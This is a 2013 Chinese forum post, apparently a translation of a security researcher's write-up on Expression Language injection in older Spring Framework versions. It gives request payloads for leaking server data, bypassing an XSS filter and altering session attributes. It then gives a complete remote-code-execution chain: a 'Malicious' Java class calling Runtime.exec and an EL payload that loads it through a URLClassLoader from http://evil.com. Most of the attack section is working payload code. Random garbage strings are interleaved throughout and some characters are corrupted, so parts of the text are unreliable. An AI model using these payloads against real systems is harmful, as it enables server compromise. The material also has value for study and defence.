中国网络渗透测试联盟
标题:
spring-远程代码注入
[打印本页]
作者:
admin
时间:
2013-2-16 21:47
标题:
spring-远程代码注入
Remote Code with
8 }9 u0 D R: M1 u3 T9 H
Expression Language Injection
: ]6 f4 u3 O, ?2 E
Spring Framework脆弱性—DanAmodio
" p$ [% g. s1 T0 O* g, k
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
+ Z/ w8 f; I+ ]1 g& A4 ~
可能会存在风险。
: k9 \% M' D4 ~6 X+ W0 N
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
1 q* Q2 [& Y% j5 ~+ S% j$ j7 b6 L6 l2 d
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
' L7 L4 n. T9 O6 _
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
( P4 N% C6 I1 {, t9 f1 V
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
& ~/ k0 J, i! i
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
: c. x/ g' q: `7 D2 l0 K! O/ j
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
( l. h( _( @: h7 x/ p, g1 |
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
& Q2 r6 B, L& R+ B( c& Y& c
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
5 b1 K& r' g3 t/ U
这些版本不支持禁用double EL resolution.
& E& Q* |7 l" u) H% b3 q
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 L2 k! y( ^% W0 \, l
EL2.2容器上可能进行远程代码执行。
, ^3 V! n1 O. t) c6 F5 U0 ]
这是一个原始信息泄露的攻击例子:
3 [( m* `! ?0 u* z/ {& i
请求:
8 @" F" H4 V( ?3 k
ttp://vulnerable.com/foo?message=${applicationScope}
( q7 ]9 ~& x4 |; l5 u
到达以下内容页面:
- D6 s$ }5 Q. u) ^9 M# Y4 j
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
5 d" G( x. r a
你也可以做一些其他事情,如这样:
7 L8 [7 K6 Y5 Z- A- L9 q
${9999+1}
/ G( Y" k7 U2 `# K& G3 V
还可以访问session 对象和beans
5 s* g& y5 g3 y e5 ~
${employee.lastName}
0 {; ~; |5 f5 l) s/ E
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
9 o2 F2 g. x$ C' ^
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
" \( C2 S: H; G# `; i
西,比如XSS.
% A2 N- O! x$ e1 D: Z) W
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
8 O, f! ` `% i: M# p2 v3 a: g
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
5 V1 R' X1 t) p( r' J4 z
呢?”
+ ]! d% l, |3 L& w* ^- h
因此,我尝试巳缦拢�
# l, @, e# v/ R4 @
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
5 l1 v+ a. I6 x
P
A- n- ^- F) _( P* a3 F
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
2 F0 S& k. k& T( P Q* r0 x
回的文本被插入进了spring:message 标签。
& p! o6 _- z& n' Q+ m, e5 [- @) N- V
这里是一个最终绕过过滤的实例:
# M( a6 R+ G1 ^3 ^$ o+ q5 X9 j* Y
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)
/scriptQ
0 Y/ k& I. @7 I0 @1 S- ~4 |/ X4 E. o
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
- I# w- j/ ?+ q7 C( ^
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
/ o6 d+ E1 _* v) \5 y5 E- g
经过一番研究,我学习到EL2.2 增加了方法调用。
: r. ]- D, X4 D1 D
我写了一个快速测试应用程序代码并且检测一些功能
+ X" y$ o+ t, d. g! R ~
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
$ K. F/ |' t' E0 w$ B6 U
${pageContext.request.getSession().setAttribute(“admin”,true)}
& j, D% D1 b" ]0 m( a# r* q
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
# a, o' U# b& G
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
( S+ I4 j, r2 h _5 g6 d/ b" h! @# S
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
- j4 R: ?8 r/ W- v
“, 1234)}
( h! D0 N4 J$ g* j1 @% n
${“”.getClass().forName(“java.lang.Runtime”)}
8 S/ F/ E3 [7 `
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
1 O# n# O- K2 N. z I
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
3 Y. p: v) Q, i1 y2 _
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
+ V" ]3 ]: b7 d' x$ P0 G8 Q
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
5 ]% C7 H# H8 ]) c3 U
方法签名invoke(Object obj, Object„ args)
1 L! A: u# i( _: P( m
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
r3 i" ^( ~# U& G! q/ A$ o
题,以让它可以工作起来。
. I9 q, X- v- R0 M; n: V
漏洞利用:
" i/ S1 q9 y% g& o! ]
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
/ A# L2 k8 }# w$ D
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
) K% _$ H# n/ @8 n# @6 k1 |4 u
这里有一些我试过的失败的用例,为了试图让它工作的用例:
( ?6 |/ w/ N* Q+ `4 z
写文件到文件系统
& { x3 M6 f5 m8 ?0 L; d0 m
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
) c1 t+ J, r) @$ i1 w
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
, Q5 S/ Z: o' @: l2 [8 c( P& \. o
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
; |: @3 {* g% e6 V( ]5 d- h
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
9 v0 V& f* w, N: X6 M; i8 \
org.springframework.expression.spel.standard.SpelExpressionParser not found
2 | D7 \% C: U0 x# P* L
by
+ C5 r) x A. L. R7 Z/ n
org.glassfish.web.javax.servlet.jsp [194].
1 b4 s- }' G/ T' f" m- b' A
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
{7 |! Z9 J. N# [) O
利用反射来创建一个新的Runtime(and watch the world burn)
* V0 o$ S5 [, I8 E1 K8 N* @( ~
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
! L0 }: u+ _2 u1 ~7 y
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
/ X9 g$ ?0 N) q3 d( k9 h7 c
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
- I: ? p/ }% k' z1 s; I
使用java.lang.ProcessBuilder
& F' z8 V) f; ~- |6 d6 @
用表达式语言来评估表达式语言
) \ z* }) J# o3 z" h, A
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
& i* z, r# Y3 g9 X
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
7 Q: k. d G! |4 c$ _
“,”".getClass(),null)}
, w* ^! i' F7 K1 H" D# K
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
, X/ Z2 `7 U; L3 F9 f0 `: _
我在使用一个空数组通过Method.invoke()时失败了很多次
4 d6 b8 R& y) u6 o& b8 z$ x
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
, n+ K' B+ R1 M' C( _; |
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
" m9 G2 o6 t% f7 Z3 G! \# x
rrayList”).newInstance().toArray())
8 c( D, S1 [. G' q- V
java.lang.IllegalArgumentException: wrong number of arguments
0 Q6 B$ k4 ?' H; ?0 Q
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
6 {/ S* I+ s6 `: p
以创建一个恶意class文件并且指向类装载器.
+ _, C0 X4 w- C$ K6 @9 `# P$ [
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
$ S: L7 `( z1 E- @1 \! B
public class Malicious {
/ ?8 b, G8 z. y
public Malicious() {
+ W7 c$ [% E% l/ s1 x
try {
/ j) M" K- h: ^
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
# e) \3 y [" Y. q, F! e
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
5 M3 I) }% ^* K$ d
} catch (Exception e) {
9 C4 b2 X \, p4 K
}
. K! D& ^- V* c8 R( c& U( Y
}
; b. t @ A m" v
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
, v# `3 z T G* A1 e) s# X
话中,因此它可以被使用.
- ?' M8 Y2 `& a
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
3 K( j4 Z6 E+ y6 g* p. `
(“java.util.ArrayList”).newInstance())}
q/ X3 I$ w. i& @% E1 C
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
- Z1 _' h/ A3 ~9 U
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
; b7 L8 o! ^+ d
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
9 A5 p3 a& M. L9 ]
我们可以调用的create(string)方法,然后转换对一个URL对象。
8 O' ]1 H5 \' d4 o( {) b# r
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“
http://evil.com/path/to/wh
2 R2 E8 A! n. _0 I9 u
ere/malicious/classfile/is/located/”).toURL())}
$ n6 b9 E2 h! U& X/ t
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
6 T+ |5 G! Z) u& B# I* a
恶意类文件被装载并创建,触发远程代码.
0 i" u/ `/ q( C' a, X- M+ T- G1 A# F
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
( z9 P: O5 `! \: d2 w
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
6 E. ?3 n0 z6 h& S
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
" B2 B* R$ q Y1 c! C% f$ G
()}
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2